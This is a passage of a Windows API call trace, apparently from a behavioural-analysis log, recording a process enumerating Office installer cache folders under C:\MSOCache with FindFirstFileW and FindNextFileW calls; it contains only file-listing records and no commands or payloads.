cFileName="{90160000-0019-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9032D~1")) returned 1 [0050.204] GetLastError () returned 0x12 [0050.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d51f0 [0051.526] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.526] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16c60cc0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x16c60cc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3fb87d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0051.526] GetLastError () returned 0x12 [0051.527] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8263d6b0, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x8263d6b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0051.527] GetLastError () returned 0x12 [0051.527] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d82bc70, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x4d82bc70, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd404fdb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3658af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0051.527] GetLastError () returned 0x12 [0051.527] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0051.527] GetLastError () returned 0x12 [0051.527] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0051.527] FindClose (in: hFindFile=0x4d51f0 | out: hFindFile=0x4d51f0) returned 1 [0051.528] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0051.528] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001A-0409-0000-0000000FF1CE}-C", cAlternateFileName="{98E9A~1")) returned 1 [0051.528] GetLastError () returned 0x12 [0051.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001A-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001a-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d51f0 [0052.015] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd33d21a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33d21a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.015] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90965df0, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x90965df0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd3337ce0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d2ce1, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0052.015] GetLastError () returned 0x12 [0052.015] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749677e0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x749677e0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0052.015] GetLastError () returned 0x12 [0052.016] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb696530, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xfb696530, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0052.016] GetLastError () returned 0x12 [0052.016] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.016] GetLastError () returned 0x12 [0052.016] FindNextFileW (in: hFindFile=0x4d51f0, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x425ebfd0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x425ebfd0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd33d19d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0052.016] FindClose (in: hFindFile=0x4d51f0 | out: hFindFile=0x4d51f0) returned 1 [0052.091] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.091] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001B-0409-0000-0000000FF1CE}-C", cAlternateFileName="{9E8C9~1")) returned 1 [0052.091] GetLastError () returned 0x12 [0052.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-001B-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-001b-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd410fc00, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd4c38320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd4c38320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4289c770, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4289c770, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd4c36bb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xad4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0052.092] GetLastError () returned 0x12 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb3fb20, ftCreationTime.dwHighDateTime=0x1d0cbc0, ftLastAccessTime.dwLowDateTime=0xeb3fb20, ftLastAccessTime.dwHighDateTime=0x1d0cbc0, ftLastWriteTime.dwLowDateTime=0xd41a8180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x99cdf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0052.092] GetLastError () returned 0x12 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0e93c80, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc0e93c80, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xd4135590, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0052.092] GetLastError () returned 0x12 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0052.092] GetLastError () returned 0x12 [0052.092] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c5504b0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0x1c5504b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0052.092] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.092] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37d0058 | out: hHeap=0xab0000) returned 1 [0052.092] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-002C-0409-0000-0000000FF1CE}-C", cAlternateFileName="{90160~3")) returned 1 [0052.092] GetLastError () returned 0x12 [0052.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8620 [0052.098] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xcac6fe60, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd08f95a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd08f95a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.098] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0052.098] GetLastError () returned 0x12 [0052.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.en\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.en\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.100] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcacbc120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcace2280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.100] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c2c09d0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x1c2c09d0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcace2280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb1e33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.100] GetLastError () returned 0x12 [0052.100] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbacf58c0, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xbacf58c0, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x201000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.100] GetLastError () returned 0x12 [0052.100] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.100] GetLastError () returned 0x12 [0052.101] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf21b6da0, ftCreationTime.dwHighDateTime=0x1d0cbb4, ftLastAccessTime.dwLowDateTime=0xf21b6da0, ftLastAccessTime.dwHighDateTime=0x1d0cbb4, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.101] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.101] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.101] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0052.101] GetLastError () returned 0x12 [0052.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90160000-002C-0409-0000-0000000FF1CE}-C\\Proof.es\\*" (normalized: "c:\\msocache\\all users\\{90160000-002c-0409-0000-0000000ff1ce}-c\\proof.es\\*"), lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0052.113] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcbb2a680, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcbb9caa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb9caa0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.113] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e4a700, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x18e4a700, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xcbb9bb00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xd43dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0052.113] GetLastError () returned 0x12 [0052.113] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3553370, ftCreationTime.dwHighDateTime=0x1d0cbbe, ftLastAccessTime.dwLowDateTime=0xc3553370, ftLastAccessTime.dwHighDateTime=0x1d0cbbe, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x203000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0052.113] GetLastError () returned 0x12 [0052.113] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0052.113] GetLastError () returned 0x12 [0052.113] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4320350, ftCreationTime.dwHighDateTime=0x1d0cbb5, ftLastAccessTime.dwLowDateTime=0x4320350, ftLastAccessTime.dwHighDateTime=0x1d0cbb5, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0052.113] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0052.113] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0052.113] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2caeee8 | out: lpFindFileData=0x2caeee8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcaeab300, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xcafb5ca0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcafb5ca0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0052.113] GetLastError () 